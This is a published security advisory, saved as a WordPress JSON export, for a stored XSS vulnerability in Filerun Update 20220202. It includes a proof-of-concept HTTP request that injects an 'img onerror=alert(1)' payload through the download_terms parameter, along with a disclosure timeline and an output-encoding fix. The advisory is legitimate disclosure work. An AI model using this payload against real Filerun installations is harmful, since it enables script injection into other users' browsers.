{"id":18998,"date":"2022-10-01T13:53:00","date_gmt":"2022-10-01T11:53:00","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2022-0009\/"},"modified":"2022-11-03T16:09:06","modified_gmt":"2022-11-03T15:09:06","slug":"usd-2022-0009","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0009\/","title":{"rendered":"usd-2022-0009"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.18.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1><\/h1>\n<h1>usd-2022-0009 | Stored XSS in Filerun (Update 20220202)<\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0009<br \/><strong>Product<\/strong>: Filerun<br \/><strong>Affected Version<\/strong>: Update 20220202<br \/><strong>Vulnerability Type<\/strong>: CWE-79: Improper Neutralization of Input During Web Page Generation<br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/filerun.com<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<\/p>\n<h3>Introduction<\/h3>\n<p>Filerun does not properly validate user supplied input. Because of this, a user is able to inject custom javascript into the <em>download terms<\/em> for shared files using weblinks. This can lead to stored XSS attacks.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>To reproduce the vulnerability, the \"download_terms\" GET parameter is set as follows: \"download_terms=&lt;img src=x onerror=alert(1)&gt;\"<\/p>\n<p>In the following, an exemplary HTTP request is given:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/?module=weblinks&amp;section=ajax&amp;page=update<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (X11; Linux x86_64; rv:99.0) Gecko\/20100101 Firefox\/99.0<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">*\/*<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.5<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XMLHttpRequest<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">208<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">[http:\/\/localhost]()<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Referer<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">[http:\/\/localhost\/?module=weblinks&amp;_popup_id=webLink]()<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">FileRunSID=a6534d23bf316c6f7b91b0ca1de98e4d<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Dest<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">empty<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Mode<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">cors<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Site<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">same-origin<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p>path=%2FROOT%2FHOME%2Fcmd.gif.php&amp;download_terms=%3Cimg%20src%3D%2FX%20onerror%3Dalert(1)%3E&amp;allow_downloads=on&amp;expiry=&amp;download_limit=&amp;password=&amp;dterms=%3Cimg%20src%3D%22%2FX%22%20onerror%3D%22alert(1)%22%3E<\/p>\n<\/div>\n<p>The payload is triggered, when a user is visiting the created share link:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/07\/filerun1.xss_.png\" width=\"767\" height=\"455\" alt=\"\" class=\"wp-image-18695 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/07\/filerun1.xss_.png 767w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/07\/filerun1.xss_-480x285.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 767px, 100vw\" \/><\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to treat all input on the website as potentially dangerous. Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context. The majority of programming languages support standard procedures for encoding meta characters. For example, PHP has the built-in function <em>htmlspecialchars()<\/em>.<\/p>\n<p>&nbsp;<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/cwe.mitre.org\/data\/definitions\/79.html<br \/><\/a><\/li>\n<li><a href=\"https:\/\/filerun.com\/changelog\" target=\"_blank\" rel=\"noopener\">https:\/\/filerun.com\/changelog<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-04-22<\/strong>: Vulnerability identified by Christian P\u00f6schl<\/li>\n<li><strong>2022-04-25<\/strong>: First contact request via info@filerun.com<\/li>\n<li><strong>2022-04-29<\/strong>: Vulnerability details submitted to Vendor<\/li>\n<li><strong>2022-05-10<\/strong>: Fixed by Vendor<\/li>\n<li><strong>2022-10-31<\/strong>: <span>This advisory is published<\/span><\/li>\n<\/ul>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0009 | Stored XSS in Filerun (Update 20220202) Advisory ID: usd-2022-0009Product: FilerunAffected Version: Update 20220202Vulnerability Type: CWE-79: Improper Neutralization of Input During Web Page GenerationSecurity Risk: HighVendor URL: https:\/\/filerun.comVendor acknowledged vulnerability: YesVendor Status: Fixed Introduction Filerun does not properly validate user supplied input. Because of this, a user is able to inject custom javascript into [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-18998","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18998","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=18998"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18998\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=18998"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}